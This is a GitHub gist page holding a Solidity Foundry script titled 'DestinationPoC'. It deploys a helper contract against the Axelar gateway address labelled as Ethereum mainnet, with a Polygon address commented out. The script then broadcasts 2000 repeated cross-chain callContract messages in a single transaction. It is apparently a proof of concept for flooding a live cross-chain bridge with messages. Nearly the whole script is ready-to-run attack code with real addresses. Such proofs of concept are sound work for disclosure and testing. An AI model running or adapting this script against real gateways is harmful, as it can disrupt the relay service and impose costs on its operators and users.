-
-
Save marcohextor/d1df2d2ac4e7226895ac973d294fc687 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: UNLICENSED | |
| pragma solidity ^0.8.0; | |
| import "forge-std/Script.sol"; | |
| // Define the interface for interacting with the AxelarGateway | |
| interface AxelarGateway { | |
| function callContract(string memory, string memory, bytes memory) external; | |
| } | |
| // Contract that can make multiple calls to the AxelarGateway in a single transaction | |
| contract MultiCall { | |
| AxelarGateway public gateway; | |
| constructor(address _gatewayAddress) { | |
| gateway = AxelarGateway(_gatewayAddress); | |
| } | |
| // This function makes multiple calls to the gateway's callContract function | |
| function multipleCalls(string memory chain, string memory destAddr, bytes memory payload, uint times) public { | |
| for (uint i = 0; i < times; i++) { | |
| gateway.callContract(chain, destAddr, payload); | |
| } | |
| } | |
| } | |
| // Script to deploy and use the MultiCall contract | |
| contract DestinationPoC is Script { | |
| function run() public { | |
| vm.startBroadcast(); | |
| // Deploy the MultiCall contract | |
| MultiCall multiCall = new MultiCall(0x4F4495243837681061C4743b74B3eEdf548D56A5); // Ethereum | |
| // MultiCall multiCall = new MultiCall(0x6f015F16De9fC8791b234eF68D486d2bF203FBA8); // Polygon | |
| // Define the parameters for the call | |
| string memory chain = "base"; | |
| string memory destAddr = "0x4F4495243837681061C4743b74B3eEdf548D56A5"; | |
| bytes memory payload = "hellofriend"; | |
| uint times = 2000; // Number of times to repeat the call | |
| // Make the repeated calls in a single transaction | |
| multiCall.multipleCalls(chain, destAddr, payload, times); | |
| vm.stopBroadcast(); | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment